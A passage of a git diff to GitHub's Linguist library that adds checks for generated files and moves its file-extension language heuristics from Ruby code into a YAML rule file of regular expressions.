+          !cv.nil? &&
+          cv.match(/^
+            ( org \s+ mode
+            | j?latex2html
+            | groff
+            | makeinfo
+            | texi2html
+            | ronn
+            ) \b
+          /ix)
+        end
+      end
+    end
+
+    # Internal: Is this a generated jOOQ file?
+    #
+    # Return true or false
+    def generated_jooq?
+      return false unless extname.downcase == '.java'
+      lines.first(2).any? { |l| l.include? 'This file is generated by jOOQ.' }
+    end
+
+    # Internal: Is this a generated Delphi Interface file for a type library?
+    #
+    # Delphi Type Library Import tool generates *_TLB.pas files based on .ridl files.
+    # They are not meant to be altered by humans.
+    #
+    # Returns true or false
+    def generated_pascal_tlb?
+      !!name.match(/_tlb\.pas$/i)
+    end
+
+    # Internal: Is this a Sorbet RBI file generated by Tapioca?
+    #
+    # Tapioca generates non-human-editable .rbi files in several different
+    # ways:
+    #
+    # 1. `tapioca gem` uses reflection to generate generic .rbi for gems.
+    # 2. `tapioca dsl` uses DSL compilers to generate .rbi for modules/classes.
+    # 3. `tapioca annotations` pulls .rbi from remote sources.
+    #
+    # All are marked with similar wording.
+    #
+    # Returns true or false
+    def generated_sorbet_rbi?
+      return false unless extname.downcase == '.rbi'
+      return false unless lines.count >= 5
+      lines[0].match?(/^# typed:/) &&
+      lines[2].include?("DO NOT EDIT MANUALLY") &&
+      lines[4].match?(/^# Please (run|instead update this file by running) `bin\/tapioca/)
+    end
+
+    # Internal: Is this an HTML coverage report?
+    #
+    # Tools like coverage.py generate HTML reports under an `htmlcov` directory.
+    #
+    # Returns true or false.
+    def htmlcov?
+      !!name.match(/(?:^|\/)htmlcov\//)
+    end
+
+    # Internal: Extract a Hash of name/content pairs from an HTML <meta> tag
+    def extract_html_meta(match)
+      (match.last.sub(/\/\Z/, "").strip.scan(/
+        (?<=^|\s)              # Check for preceding whitespace
+        (name|content|value)   # Attribute names we're interested in
+        \s* = \s*              # Key-value separator
+
+        # Attribute value
+        ( "[^"]+"        # name="value"
+        | '[^']+'        # name='value'
+        |  [^\s"']+      # name=value
+        )
+      /ix)).map do |match|
+        key = match[0].downcase
+        val = match[1].gsub(/\A["']|["']\Z/, '')
+        [key, val]
+      end.select { |x| x.length == 2 }.to_h
+    end
+
+    # Internal: Is this a generated SQLx query file?
+    #
+    # SQLx is a Rust SQL library which generates `**/.sqlx/query-*.json` files
+    # in offline mode (enabled by default).
+    #
+    # These are used to be able to compile a project without requiring
+    # the development database to be online.
+    #
+    # Returns true or false.
+    def generated_sqlx_query?
+      !!name.match(/(?:^|.*\/)\.sqlx\/query-.+\.json$/)
+    end
   end
 end
diff --git a/lib/linguist/generic.yml b/lib/linguist/generic.yml
new file mode 100644
index 0000000000..9c911f4959
--- /dev/null
+++ b/lib/linguist/generic.yml
@@ -0,0 +1,23 @@
+# This is a list of file extensions considered too common to safely associate
+# with only the formats Linguist recognises. In addition to the stipulated
+# extension requirement, candidate matches must also satisfy a heuristic
+# (or some other strategy) in order to be identified as any one language.
+
+---
+extensions:
+- ".1"
+- ".2"
+- ".3"
+- ".4"
+- ".5"
+- ".6"
+- ".7"
+- ".8"
+- ".9"
+- ".app"
+- ".cmp"
+- ".resource"
+- ".sol"
+- ".stl"
+- ".tag"
+- ".url"
diff --git a/lib/linguist/heuristics.rb b/lib/linguist/heuristics.rb
index 28d14cb48e..966550f575 100644
--- a/lib/linguist/heuristics.rb
+++ b/lib/linguist/heuristics.rb
@@ -1,6 +1,10 @@
+require 'yaml'
+
 module Linguist
   # A collection of simple heuristics that can be used to better analyze languages.
   class Heuristics
+    HEURISTICS_CONSIDER_BYTES = 50 * 1024
+
     # Public: Use heuristics to detect language of the blob.
     #
     # blob               - An object that quacks like a blob.
@@ -14,436 +18,154 @@ class Heuristics
     #
     # Returns an Array of languages, or empty if none matched or were inconclusive.
     def self.call(blob, candidates)
-      data = blob.data
+      return [] if blob.symlink?
+      self.load()
+
+      data = blob.data[0...HEURISTICS_CONSIDER_BYTES]
 
       @heuristics.each do |heuristic|
-        if heuristic.matches?(blob.name)
-          languages = Array(heuristic.call(data))
-          return languages if languages.any? || languages.all? { |l| candidates.include?(l) }
+        if heuristic.matches?(blob.name, candidates)
+          return Array(heuristic.call(data))
         end
       end
 
       [] # No heuristics matched
+    rescue Regexp::TimeoutError
+      [] # Return nothing if we have a bad regexp which leads to a timeout enforced by Regexp.timeout in Ruby 3.2 or later
     end
 
-    # Internal: Define a new heuristic.
-    #
-    # languages - String names of languages to disambiguate.
-    # heuristic - Block which takes data as an argument and returns a Language or nil.
+    # Public: Get all heuristic definitions
     #
-    # Examples
-    #
-    #     disambiguate ".pm" do |data|
-    #       if data.include?("use strict")
-    #         Language["Perl"]
-    #       elsif /^[^#]+:-/.match(data)
-    #         Language["Prolog"]
-    #       end
-    #     end
-    #
-    def self.disambiguate(*extensions, &heuristic)
-      @heuristics << new(extensions, &heuristic)
-    end
-
-    # Internal: Array of defined heuristics
-    @heuristics = []
-
-    # Internal
-    def initialize(extensions, &heuristic)
-      @extensions = extensions
-      @heuristic = heuristic
-    end
-
-    # Internal: Check if this heuristic matches the candidate languages.
-    def matches?(filename)
-      filename = filename.downcase
-      @extensions.any? { |ext| filename.end_with?(ext) }
+    # Returns an Array of heuristic objects.
+    def self.all
+      self.load()
+      @heuristics
     end
 
-    # Internal: Perform the heuristic
-    def call(data)
-      @heuristic.call(data)
-    end
-
-    # Common heuristics
-    ObjectiveCRegex = /^\s*(@(interface|class|protocol|property|end|synchronised|selector|implementation)\b|#import\s+.+\.h[">])/
-
-    disambiguate ".asc" do |data|
-      if /^(----[- ]BEGIN|ssh-(rsa|dss)) /.match(data)
-        Language["Public Key"]
-      elsif /^[=-]+(\s|\n)|{{[A-Za-z]/.match(data)
-        Language["AsciiDoc"]
-      elsif /^(\/\/.+|((import|export)\s+)?(function|int|float|char)\s+((room|repeatedly|on|game)_)?([A-Za-z]+[A-Za-z_0-9]+)\s*[;\(])/.match(data)
-        Language["AGS Script"]
-      end
-    end
-
-    disambiguate ".bb" do |data|
-      if /^\s*; /.match(data) || data.include?("End Function")
-        Language["BlitzBasic"]
-      elsif /^\s*(# |include|require)\b/.match(data)
-        Language["BitBake"]
+    # Internal: Load heuristics from 'heuristics.yml'.
+    def self.load()
+      if @heuristics.any?
+        return
       end
-    end
-
-    disambiguate ".builds" do |data|
-      if /^(\s*)(<Project|<Import|<Property|<?xml|xmlns)/i.match(data)
-        Language["XML"]
-      else
-        Language["Text"]
-      end
-    end
-
-    disambiguate ".ch" do |data|
-      if /^\s*#\s*(if|ifdef|ifndef|define|command|xcommand|translate|xtranslate|include|pragma|undef)\b/i.match(data)
-        Language["xBase"]
-      end
-    end
 
-    disambiguate ".cl" do |data|
-      if /^\s*\((defun|in-package|defpackage) /i.match(data)
-        Language["Common Lisp"]
-      elsif /^class/x.match(data)
-        Language["Cool"]
-      elsif /\/\* |\/\/ |^\}/.match(data)
-        Language["OpenCL"]
-      end
-    end
-
-    disambiguate ".cs" do |data|
-      if /![\w\s]+methodsFor: /.match(data)
-        Language["Smalltalk"]
-      elsif /^\s*namespace\s*[\w\.]+\s*{/.match(data) || /^\s*\/\//.match(data)
-        Language["C#"]
-      end
-    end
-
-    disambiguate ".d" do |data|
-      if /^module /.match(data)
-        Language["D"]
-      elsif /^((dtrace:::)?BEGIN|provider |#pragma (D (option|attributes)|ident)\s)/.match(data)
-        Language["DTrace"]
-      elsif /(\/.*:( .* \\)$| : \\$|^ : |: \\$)/.match(data)
-        Language["Makefile"]
-      end
-    end
-
-    disambiguate ".ecl" do |data|
-      if /^[^#]+:-/.match(data)
-        Language["ECLiPSe"]
-      elsif data.include?(":=")
-        Language["ECL"]
-      end
-    end
-    
-    disambiguate ".es" do |data|
-      if /^\s*(?:%%|main\s*\(.*?\)\s*->)/.match(data)
-        Language["Erlang"]
-      elsif /(?:\/\/|("|')use strict\1|export\s+default\s|\/\*.*?\*\/)/m.match(data)
-        Language["JavaScript"]
-      end
-    end
-
-    disambiguate ".for", ".f" do |data|
-      if /^: /.match(data)
-        Language["Forth"]
-      elsif /^([c*][^abd-z]|      (subroutine|program|end)\s|\s*!)/i.match(data)
-        Language["FORTRAN"]
-      end
-    end
-
-    disambiguate ".fr" do |data|
-      if /^(: |also |new-device|previous )/.match(data)
-        Language["Forth"]
-      elsif /^\s*(import|module|package|data|type) /.match(data)
-        Language["Frege"]
-      else
-        Language["Text"]
-      end
-    end
-
-    disambiguate ".fs" do |data|
-      if /^(: |new-device)/.match(data)
-        Language["Forth"]
-      elsif /^\s*(#light|import|let|module|namespace|open|type)/.match(data)
-        Language["F#"]
-      elsif /^\s*(#version|precision|uniform|varying|vec[234])/.match(data)
-        Language["GLSL"]
-      elsif /#include|#pragma\s+(rs|version)|__attribute__/.match(data)
-        Language["Filterscript"]
-      end
-    end
-
-    disambiguate ".gs" do |data|
-      Language["Gosu"] if /^uses java\./.match(data)
-    end
-
-    disambiguate ".h" do |data|
-      if ObjectiveCRegex.match(data)
-        Language["Objective-C"]
-      elsif (/^\s*#\s*include <(cstdint|string|vector|map|list|array|bitset|queue|stack|forward_list|unordered_map|unordered_set|(i|o|io)stream)>/.match(data) ||
-        /^\s*template\s*</.match(data) || /^[ \t]*try/.match(data) || /^[ \t]*catch\s*\(/.match(data) || /^[ \t]*(class|(using[ \t]+)?namespace)\s+\w+/.match(data) || /^[ \t]*(private|public|protected):$/.match(data) || /std::\w+/.match(data))
-        Language["C++"]
-      end
-    end
-
-    disambiguate ".inc" do |data|
-      if /^<\?(?:php)?/.match(data)
-        Language["PHP"]
-      end
-    end
+      data = self.load_config
+      named_patterns = data['named_patterns'].map { |k,v| [k, self.to_regex(v)] }.to_h
 
-    disambiguate ".l" do |data|
-      if /\(def(un|macro)\s/.match(data)
-        Language["Common Lisp"]
-      elsif /^(%[%{}]xs|<.*>)/.match(data)
-        Language["Lex"]
-      elsif /^\.[a-z][a-z](\s|$)/i.match(data)
-        Language["Groff"]
-      elsif /^\((de|class|rel|code|data|must)\s/.match(data)
-        Language["PicoLisp"]
-      end
-    end
-
-    disambiguate ".ls" do |data|
-      if /^\s*package\s*[\w\.\/\*\s]*\s*{/.match(data)
-        Language["LoomScript"]
-      else
-        Language["LiveScript"]
-      end
-    end
-
-    disambiguate ".lsp", ".lisp" do |data|
-      if /^\s*\((defun|in-package|defpackage) /i.match(data)
-        Language["Common Lisp"]
-      elsif /^\s*\(define /.match(data)
-        Language["NewLisp"]
-      end
-    end
-
-    disambiguate ".m" do |data|
-      if ObjectiveCRegex.match(data)
-        Language["Objective-C"]
-      elsif data.include?(":- module")
-        Language["Mercury"]
-      elsif /^: /.match(data)
-        Language["MUF"]
-      elsif /^\s*;/.match(data)
-        Language["M"]
-      elsif /^\s*\(\*/.match(data)
-        Language["Mathematica"]
-      elsif /^\s*%/.match(data)
-        Language["Matlab"]
-      elsif /^\w+\s*:\s*module\s*{/.match(data)
-        Language["Limbo"]
-      end
-    end
-
-    disambiguate ".md" do |data|
-      if /^[-a-z0-9=#!\*\[|]/i.match(data)
-        Language["Markdown"]
-      elsif /^(;;|\(define_)/.match(data)
-        Language["GCC machine description"]
+      data['disambiguations'].each do |disambiguation|
+        exts = disambiguation['extensions']
+        rules = disambiguation['rules']
+        rules.map! do |rule|
+          rule['pattern'] = self.parse_rule(named_patterns, rule)
+          rule
+        end
+        @heuristics << new(exts, rules)
       end
     end
 
-    disambiguate ".ml" do |data|
-      if /(^\s*module)|let rec |match\s+(\S+\s)+with/.match(data)
-        Language["OCaml"]
-      elsif /=> |case\s+(\S+\s)+of/.match(data)
-        Language["Standard ML"]
-      end
+    def self.load_config
+      YAML.load_file(File.expand_path("../heuristics.yml", __FILE__))
     end
 
-    disambiguate ".mod" do |data|
-      if data.include?('<!ENTITY ')
-        Language["XML"]
-      elsif /MODULE\s\w+\s*;/i.match(data) || /^\s*END \w+;$/i.match(data)
-        Language["Modula-2"]
+    def self.parse_rule(named_patterns, rule)
+      if !rule['and'].nil?
+        rules = rule['and'].map { |block| self.parse_rule(named_patterns, block) }
+        return And.new(rules)
+      elsif !rule['pattern'].nil?
+        return self.to_regex(rule['pattern'])
+      elsif !rule['negative_pattern'].nil?
+        pat = self.to_regex(rule['negative_pattern'])
+        return NegativePattern.new(pat)
+      elsif !rule['named_pattern'].nil?
+        return named_patterns[rule['named_pattern']]
       else
-        [Language["Linux Kernel Module"], Language["AMPL"]]
+        return AlwaysMatch.new()
       end
     end
 
-    disambiguate ".ms" do |data|
-      if /^[.'][a-z][a-z](\s|$)/i.match(data)
-        Language["Groff"]
-      elsif /(?<!\S)\.(include|globa?l)\s/.match(data) || /(?<!\/\*)(\A|\n)\s*\.[A-Za-z]/.match(data.gsub(/"([^\\"]|\\.)*"|'([^\\']|\\.)*'|\\\s*(?:--.*)?\n/, ""))
-        Language["GAS"]
+    # Internal: Converts a string or array of strings to regexp
+    #
+    # str: string or array of strings. If it is an array of strings,
+    #      Regexp.union will be used.
+    def self.to_regex(str)
+      if str.kind_of?(Array)
+        Regexp.union(str.map { |s| Regexp.new(s) })
       else
-        Language["MAXScript"]
+        Regexp.new(str)
       end
     end
 
-    disambiguate ".n" do |data|
-      if /^[.']/.match(data)
-        Language["Groff"]
-      elsif /^(module|namespace|using)\s/.match(data)
-        Language["Nemerle"]
-      end
-    end
-
-    disambiguate ".ncl" do |data|
-      if data.include?("THE_TITLE")
-        Language["Text"]
-      end
-    end
-
-    disambiguate ".nl" do |data|
-      if /^(b|g)[0-9]+ /.match(data)
-        Language["NL"]
-      else
-        Language["NewLisp"]
-      end
-    end
+    # Internal: Array of defined heuristics
+    @heuristics = []
 
-    disambiguate ".php" do |data|
-      if data.include?("<?hh")
-        Language["Hack"]
-      elsif /<?[^h]/.match(data)
-        Language["PHP"]
-      end
+    # Internal
+    def initialize(exts, rules)
+      @exts = exts
+      @rules = rules
     end
 
-    disambiguate ".pl" do |data|
-      if /^[^#]+:-/.match(data)
-        Language["Prolog"]
-      elsif /use strict|use\s+v?5\./.match(data)
-        Language["Perl"]
-      elsif /^(use v6|(my )?class|module)/.match(data)
-        Language["Perl6"]
-      end
+    # Internal: Return the heuristic's target extensions
+    def extensions
+      @exts
     end
 
-    disambiguate ".pm", ".t" do |data|
-      if /use strict|use\s+v?5\./.match(data)
-        Language["Perl"]
-      elsif /^(use v6|(my )?class|module)/.match(data)
-        Language["Perl6"]
-      end
+    # Internal: Return the heuristic's candidate languages
+    def languages
+      @rules.map do |rule|
+        [rule['language']].flatten(2).map { |name| Language[name] }
+      end.flatten.uniq
     end
 
-    disambiguate ".pod" do |data|
-      if /^=\w+$/.match(data)
-        Language["Pod"]
-      else
-        Language["Perl"]
-      end
+    # Internal: Check if this heuristic matches the candidate filenames or
+    # languages.
+    def matches?(filename, candidates)
+      filename = filename.downcase
+      candidates = candidates.compact.map(&:name)
+      @exts.any? { |ext| filename.end_with?(ext) }
     end
 
-    disambiguate ".pro" do |data|
-      if /^[^#]+:-/.match(data)
-        Language["Prolog"]
-      elsif data.include?("last_client=")
-        Language["INI"]
-      elsif data.include?("HEADERS") && data.include?("SOURCES")
-        Language["QMake"]
-      elsif /^\s*function[ \w,]+$/.match(data)
-        Language["IDL"]
+    # Internal: Perform the heuristic
+    def call(data)
+      matched = @rules.find do |rule|
+        rule['pattern'].match?(data)
+      end
+      if !matched.nil?
+        languages = matched['language']
+        if languages.is_a?(Array)
+          languages.map{ |l| Language[l] }
+        else
+          Language[languages]
+        end
       end
     end
+  end
 
-    disambiguate ".props" do |data|
-      if /^(\s*)(<Project|<Import|<Property|<?xml|xmlns)/i.match(data)
-        Language["XML"]
-      elsif /\w+\s*=\s*/i.match(data)
-        Language["INI"]
-      end
-    end
+  class And
 
-    disambiguate ".r" do |data|
-      if /\bRebol\b/i.match(data)
-        Language["Rebol"]
-      elsif data.include?("<-")
-        Language["R"]
-      end
+    def initialize(pats)
+      @pats = pats
     end
 
-    disambiguate ".rno" do |data|
-      if /^\.!|^\.end lit(?:eral)?\b/i.match(data)
-        Language["RUNOFF"]
-      elsif /^\.\\" /.match(data)
-        Language["Groff"]
-      end
+    def match?(input)
+      return @pats.all? { |pat| pat.match?(input) }
     end
 
-    disambiguate ".rpy" do |data|
-      if /(^(import|from|class|def)\s)/m.match(data)
-        Language["Python"]
-      else
-        Language["Ren'Py"]
-      end
-    end
+  end
 
-    disambiguate ".rs" do |data|
-      if /^(use |fn |mod |pub |macro_rules|impl|#!?\[)/.match(data)
-        Language["Rust"]
-      elsif /#include|#pragma\s+(rs|version)|__attribute__/.match(data)
-        Language["RenderScript"]
-      end
+  class AlwaysMatch
+    def match?(input)
+      return true
     end
+  end
 
-    disambiguate ".sc" do |data|
-      if /\^(this|super)\./.match(data) || /^\s*(\+|\*)\s*\w+\s*{/.match(data) || /^\s*~\w+\s*=\./.match(data)
-        Language["SuperCollider"]
-      elsif /^\s*import (scala|java)\./.match(data) || /^\s*val\s+\w+\s*=/.match(data) || /^\s*class\b/.match(data)
-        Language["Scala"]
-      end
-    end
+  class NegativePattern
 
-    disambiguate ".sql" do |data|
-      if /^\\i\b|AS \$\$|LANGUAGE '?plpgsql'?/i.match(data) || /SECURITY (DEFINER|INVOKER)/i.match(data) || /BEGIN( WORK| TRANSACTION)?;/i.match(data)
-        #Postgres
-        Language["PLpgSQL"]
-      elsif /(alter module)|(language sql)|(begin( NOT)+ atomic)/i.match(data)  || /signal SQLSTATE '[0-9]+'/i.match(data)
-        #IBM db2
-        Language["SQLPL"]
-      elsif /\$\$PLSQL_|XMLTYPE|sysdate|systimestamp|\.nextval|connect by|AUTHID (DEFINER|CURRENT_USER)/i.match(data) || /constructor\W+function/i.match(data)
-        #Oracle
-        Language["PLSQL"]
-      elsif ! /begin|boolean|package|exception/i.match(data)
-        #Generic SQL
-        Language["SQL"]
-      end
-    end
-    
-    disambiguate ".srt" do |data|
-      if /^(\d{2}:\d{2}:\d{2},\d{3})\s*(-->)\s*(\d{2}:\d{2}:\d{2},\d{3})$/.match(data)
-        Language["SubRip Text"]
-      end
-    end
-    
-    disambiguate ".t" do |data|
-      if /^\s*%|^\s*var\s+\w+\s*:\s*\w+/.match(data)
-        Language["Turing"]
-      elsif /^\s*use\s+v6\s*;/.match(data)
-        Language["Perl6"]
-      end
-    end
-    
-    disambiguate ".toc" do |data|
-      if /^## |@no-lib-strip@/.match(data)
-        Language["World of Warcraft Addon Data"]
-      elsif /^\\(contentsline|defcounter|beamer|boolfalse)/.match(data)
-        Language["TeX"]
-      end
+    def initialize(pat)
+      @pat = pat
     end
 
-    disambiguate ".ts" do |data|
-      if data.include?("</TS>")
-        Language["XML"]
-      else
-        Language["TypeScript"]
-      end
+    def match?(input)
+      return !@pat.match?(input)
     end
 
-    disambiguate ".tst" do |data|
-      if (data.include?("gap> "))
-        Language["GAP"]
-      # Heads up - we don't usually write heuristics like this (with no regex match)
-      else
-        Language["Scilab"]
-      end
-    end
   end
 end
diff --git a/lib/linguist/heuristics.yml b/lib/linguist/heuristics.yml
new file mode 100644
index 0000000000..67891bd2ab
--- /dev/null
+++ b/lib/linguist/heuristics.yml
@@ -0,0 +1,963 @@
+# A collection of simple regexp-based rules that can be applied to content
+# to disambiguate languages with the same file extension.
+#
+# There are two top-level keys: disambiguations and named_patterns.
+#
+# disambiguations     - a list of disambiguation rules, one for each
+#                       extension or group of extensions.
+# extensions          - an array of file extensions that this block applies to.
+# rules               - list of rules that are applied in order to the content
+#                       of a file with a matching extension. Rules are evaluated
+#                       until one of them matches. If none matches, no language
+#                       is returned.
+# language            - Language to be returned if the rule matches.
+# pattern             - Ruby-compatible regular expression that makes the rule
+#                       match. If no pattern is specified, the rule always matches.
+#                       Pattern can be a string with a single regular expression
+#                       or an array of strings that will be merged in a single
+#                       regular expression (with union).
+# and                 - An and block merges multiple rules and checks that all of
+#                       them must match.
+# negative_pattern    - Same as pattern, but checks for absence of matches.
+# named_pattern       - A pattern can be reused by specifying it in the
+#                       named_patterns section and referencing it here by its
+#                       key.
+# named_patterns      - Key-value map of reusable named patterns.
+#
+# Please keep this list alphabetized.
+#
+---
+disambiguations:
+- extensions: ['.1', '.2', '.3', '.4', '.5', '.6', '.7', '.8', '.9']
+  rules:
+  - language: Roff Manpage
+    and:
+    - named_pattern: mdoc-date
+    - named_pattern: mdoc-title
+    - named_pattern: mdoc-heading
+  - language: Roff Manpage
+    and:
+    - named_pattern: man-title
+    - named_pattern: man-heading
+  - language: Roff
+    pattern: '^\.(?:[A-Za-z]{2}(?:\s|$)|\\")'
+- extensions: ['.1in', '.1m', '.1x', '.3in', '.3m', '.3p', '.3pm', '.3qt', '.3x', '.man', '.mdoc']
+  rules:
+  - language: Roff Manpage
+    and:
+    - named_pattern: mdoc-date
+    - named_pattern: mdoc-title
+    - named_pattern: mdoc-heading
+  - language: Roff Manpage
+    and:
+    - named_pattern: man-title
+    - named_pattern: man-heading
+  - language: Roff
+- extensions: ['.al']
+  rules:
+  # AL pattern source from https://github.com/microsoft/AL/blob/master/grammar/alsyntax.tmlanguage - keyword.other.applicationobject.al
+  - language: AL
+    and:
+    - pattern: '\b(?i:(CODEUNIT|PAGE|PAGEEXTENSION|PAGECUSTOMIZATION|DOTNET|ENUM|ENUMEXTENSION|VALUE|QUERY|REPORT|TABLE|TABLEEXTENSION|XMLPORT|PROFILE|CONTROLADDIN|REPORTEXTENSION|INTERFACE|PERMISSIONSET|PERMISSIONSETEXTENSION|ENTITLEMENT))\b'
+  # Open-ended fallback to Perl AutoLoader
+  - language: Perl
+- extensions: ['.app']
+  rules:
+  - language: Erlang
+    pattern: '^\{\s*(?:application|''application'')\s*,\s*(?:[a-z]+[\w@]*|''[^'']+'')\s*,\s*\[(?:.|[\r\n])*\]\s*\}\.[ \t]*$'
+- extensions: ['.as']
+  rules:
+  - language: ActionScript
+    pattern: '^\s*(?:package(?:\s+[\w.]+)?\s+(?:\{|$)|import\s+[\w.*]+\s*;|(?=.*?(?:intrinsic|extends))(intrinsic\s+)?class\s+[\w<>.]+(?:\s+extends\s+[\w<>.]+)?|(?:(?:public|protected|private|static)\s+)*(?:(?:var|const|local)\s+\w+\s*:\s*[\w<>.]+(?:\s*=.*)?\s*;|function\s+\w+\s*\((?:\s*\w+\s*:\s*[\w<>.]+\s*(,\s*\w+\s*:\s*[\w<>.]+\s*)*)?\)))'
+- extensions: ['.asc']
+  rules:
+  - language: Public Key
+    pattern: '^(----[- ]BEGIN|ssh-(rsa|dss)) '
+  - language: AsciiDoc
+    pattern: '^[=-]+\s|\{\{[A-Za-z]'
+  - language: AGS Script
+    pattern: '^(\/\/.+|((import|export)\s+)?(function|int|float|char)\s+((room|repeatedly|on|game)_)?([A-Za-z]+[A-Za-z_0-9]+)\s*[;\(])'
+- extensions: ['.asm']
+  rules:
+  - language: Motorola 68K Assembly
+    named_pattern: m68k
+- extensions: ['.asy']
+  rules:
+  - language: LTspice Symbol
+    pattern: '^SymbolType[ \t]'
+  - language: Asymptote
+- extensions: ['.bas']
+  rules:
+  - language: B4X
+    pattern: '\A\W{0,3}(?:.*(?:\r?\n|\r)){0,9}B4(?:J|A|R|i)=true'
+  - language: FreeBasic
+    pattern: '^[ \t]*#(?i)(?:define|endif|endmacro|ifn?def|include|lang|macro)(?:$|\s)'
+  - language: BASIC
+    pattern: '\A\s*\d'
+  - language: VBA
+    and:
+    - named_pattern: vb-module
+    - named_pattern: vba
+  - language: Visual Basic 6.0
+    named_pattern: vb-module
+- extensions: ['.bb']
+  rules:
+  - language: BlitzBasic
+    pattern: '(<^\s*; |End Function)'
+  - language: BitBake
+    pattern: '^(# |include|require|inherit)\b'
+  - language: Clojure
+    pattern: '\((def|defn|defmacro|let)\s'
+- extensions: ['.bf']
+  rules:
+  - language: Beef
+    pattern: '(?-m)^\s*using\s+(System|Beefy)(\.(.*))?;\s*$'
+  - language: HyPhy
+    pattern:
+    - '(?-m)^\s*#include\s+".*";\s*$'
+    - '\sfprintf\s*\('
+  - language: Brainfuck
+    pattern: '(>\+>|>\+<)'
+- extensions: ['.bi']
+  rules:
+  - language: FreeBasic
+    pattern: '^[ \t]*#(?i)(?:define|endif|endmacro|ifn?def|if|include|lang|macro)(?:$|\s)'
+- extensions: ['.bs']
+  rules:
+  - language: Bikeshed
+    pattern: '^(?i:<pre\s+class)\s*=\s*(''|\"|\b)metadata\b\1[^>\r\n]*>'
+  - language: BrighterScript
+    pattern:
+    - (?i:^\s*(?=^sub\s)(?:sub\s*\w+\(.*?\))|(?::\s*sub\(.*?\))$)
+    - (?i:^\s*(end\ssub)$)
+    - (?i:^\s*(?=^function\s)(?:function\s*\w+\(.*?\)\s*as\s*\w*)|(?::\s*function\(.*?\)\s*as\s*\w*)$)
+    - (?i:^\s*(end\sfunction)$)
+  - language: Bluespec BH
+    pattern: '^package\s+[A-Za-z_][A-Za-z0-9_'']*(?:\s*\(|\s+where)'
+- extensions: ['.builds']
+  rules:
+  - language: XML
+    pattern: '^(\s*)(?i:<Project|<Import|<Property|<?xml|xmlns)'
+- extensions: ['.cairo']
+  rules:
+    - language: Cairo Zero
+      pattern: '(^(\s*)%lang(\s+)([A-Za-z0-9_]+))|(^(\s*)%builtins(\s+)([A-Za-z0-9_]+\s*)*$)|(^(\s*)from(\s+)starkware\.(cairo|starknet)\.([A-Za-z0-9_.\s]+?)import)|(,\s*ap\+\+;$)|(;\s*ap\+\+$)'
+    - language: Cairo
+- extensions: ['.ch']
+  rules:
+  - language: xBase
+    pattern: '^\s*#\s*(?i:if|ifdef|ifndef|define|command|xcommand|translate|xtranslate|include|pragma|undef)\b'
+- extensions: ['.cl']
+  rules:
+  - language: Common Lisp
+    pattern: '^\s*\((?i:defun|in-package|defpackage) '
+  - language: Cool
+    pattern: '^class'
+  - language: OpenCL
+    pattern: '\/\* |\/\/ |^\}'
+- extensions: ['.cls']
+  rules:
+  - language: Visual Basic 6.0
+    and:
+    - named_pattern: vb-class
+    - pattern: '^\s*BEGIN(?:\r?\n|\r)\s*MultiUse\s*=.*(?:\r?\n|\r)\s*Persistable\s*='
+  - language: VBA
+    named_pattern: vb-class
+  - language: TeX
+    pattern: '^\s*\\(?:NeedsTeXFormat|ProvidesClass)\{'
+  - language: ObjectScript
+    pattern: '^Class\s'
+- extensions: ['.cmp']
+  rules:
+  - language: Gerber Image
+    pattern: '^[DGMT][0-9]{2}\*(?:\r?\n|\r)'
+- extensions: ['.cs']
+  rules:
+  - language: Smalltalk
+    pattern: '![\w\s]+methodsFor: '
+  - language: 'C#'
+    pattern: '^\s*(using\s+[A-Z][\s\w.]+;|namespace\s*[\w\.]+\s*(\{|;)|\/\/)'
+- extensions: ['.csc']
+  rules:
+  - language: GSC
+    named_pattern: gsc
+- extensions: ['.csl']
+  rules:
+  - language: XML
+    pattern: '(?i:^\s*(<\?xml|xmlns))'
+  - language: Kusto
+    pattern: '(^\|\s*(where|extend|project|limit|summarize))|(^\.\w+)'
+- extensions: ['.d']
+  rules:
+  - language: D
+    # see http://dlang.org/spec/grammar
+    # ModuleDeclaration | ImportDeclaration | FuncDeclaration | unittest
+    pattern: '^module\s+[\w.]*\s*;|import\s+[\w\s,.:]*;|\w+\s+\w+\s*\(.*\)(?:\(.*\))?\s*\{[^}]*\}|unittest\s*(?:\(.*\))?\s*\{[^}]*\}'
+  - language: DTrace
+    # see http://dtrace.org/guide/chp-prog.html, http://dtrace.org/guide/chp-profile.html, http://dtrace.org/guide/chp-opt.html
+    pattern: '^(\w+:\w*:\w*:\w*|BEGIN|END|provider\s+|(tick|profile)-\w+\s+\{[^}]*\}|#pragma\s+D\s+(option|attributes|depends_on)\s|#pragma\s+ident\s)'
+  - language: Makefile
+    # path/target : dependency \
+    # target : \
+    #  : dependency
+    # path/file.ext1 : some/path/../file.ext2
+    pattern: '([\/\\].*:\s+.*\s\\$|: \\$|^[ %]:|^[\w\s\/\\.]+\w+\.\w+\s*:\s+[\w\s\/\\.]+\w+\.\w+)'
+- extensions: ['.dsp']
+  rules:
+  - language: Microsoft Developer Studio Project
+    pattern: '# Microsoft Developer Studio Generated Build File'
+  - language: Faust
+    pattern: '\bprocess\s*[(=]|\b(library|import)\s*\(\s*"|\bdeclare\s+(name|version|author|copyright|license)\s+"'
+- extensions: ['.e']
+  rules:
+  - language: E
+    pattern:
+    - '^\s*(def|var)\s+(.+):='
+    - '^\s*(def|to)\s+(\w+)(\(.+\))?\s+\{'
+    - '^\s*(when)\s+(\(.+\))\s+->\s+\{'
+  - language: Eiffel
+    pattern:
+    - '^\s*\w+\s*(?:,\s*\w+)*[:]\s*\w+\s'
+    - '^\s*\w+\s*(?:\(\s*\w+[:][^)]+\))?(?:[:]\s*\w+)?(?:--.+\s+)*\s+(?:do|local)\s'
+    - '^\s*(?:across|deferred|elseif|ensure|feature|from|inherit|inspect|invariant|note|once|require|undefine|variant|when)\s*$'
+  - language: Euphoria
+    named_pattern: euphoria
+- extensions: ['.ecl']
+  rules:
+  - language: ECLiPSe
+    pattern: '^[^#]+:-'
+  - language: ECL
+    pattern: ':='
+- extensions: ['.es']
+  rules:
+  - language: Erlang
+    pattern: '^\s*(?:%%|main\s*\(.*?\)\s*->)'
+  - language: JavaScript
+    pattern: '\/\/|["'']use strict["'']|export\s+default\s|\/\*(?:.|[\r\n])*?\*\/'
+- extensions: ['.ex']
+  rules:
+  - language: Elixir
+    pattern:
+    - '^\s*@moduledoc\s'
+    - '^\s*(?:cond|import|quote|unless)\s'
+    - '^\s*def(?:exception|impl|macro|module|protocol)[(\s]'
+  - language: Euphoria
+    named_pattern: euphoria
+- extensions: ['.f']
+  rules:
+  - language: Forth
+    pattern: '^: '
+  - language: Filebench WML
+    pattern: 'flowop'
+  - language: Fortran
+    named_pattern: fortran
+- extensions: ['.for']
+  rules:
+  - language: Forth
